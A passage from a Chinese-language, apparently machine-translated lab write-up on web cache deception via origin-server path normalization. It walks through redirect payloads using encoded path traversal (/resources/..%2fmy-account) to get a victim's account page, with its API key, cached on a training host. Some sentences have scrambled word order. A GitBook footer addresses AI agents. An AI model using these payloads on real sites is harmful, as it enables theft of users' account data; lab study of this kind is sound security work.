> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md).

# 通过源服务器端规范化实现 Web 缓存欺骗

### 利用源服务器规范化实施 Web 缓存欺骗

#### 实验目标

从用户处获取 \*\*API 密钥\*\* **carlos** 通过滥用 **缓存** 由……对 URL 进行规范化触发的行为 **源服务器**.

#### 访问

* 可通过以下方式连接： **wiener:peter**
* 实验室提供了一组分隔符（分隔符列表），但这里的攻击主要基于 `../` 以及编码。

### 1）观察

* 在 **`/resources`** 目录中，有一个活动的 **缓存**.
* 因此，思路是传递一个敏感页面（**`/my-account`**）作为一个“可缓存”资源，使用一个 **路径穿越** 它将会被 **规范化** 由源服务器。

<figure><img src="/files/f8e70364a88d026061b62ee79e6f51ae334f79ed" alt=""><figcaption></figcaption></figure>

测试示例：

```bash
/resources/../my-account
```

<figure><img src="/files/f07ee86b1a76a5b74ce7662d5d13ba35286f23b0" alt=""><figcaption></figcaption></figure>

### 2）利用

#### 思路

1. 强制受害者加载一个以以下内容开头的 URL： **`/resources/`** （以触发缓存）。
2. 返回到 **`/my-account`** 通过 `../` （或其编码变体）。
3. 将答案以某个键存入缓存，然后获取隐藏页面。

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

根据你的测试： **它不起作用** 在这种状态下

<figure><img src="/files/90b25755ee6dc08fd366f3b13e017e9c8d0f7ddb" alt=""><figcaption></figcaption></figure>

### 3）绕过：对后端进行编码

你指出你需要 **对 URL 进行编码** 分隔符，以使原始规范化正常工作。

使用的 URL：

```bash
/resources/..%2fmy-account?jordan
```

最终载荷：

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

结果：服务器 **将……解释为** 按预期解释 URL（规范化），从而可以继续进行缓存攻击

<figure><img src="/files/025b1b14af49a6662ec8b600e8f49095df4bbbf7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/web-cache-deception-via-origin-server-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
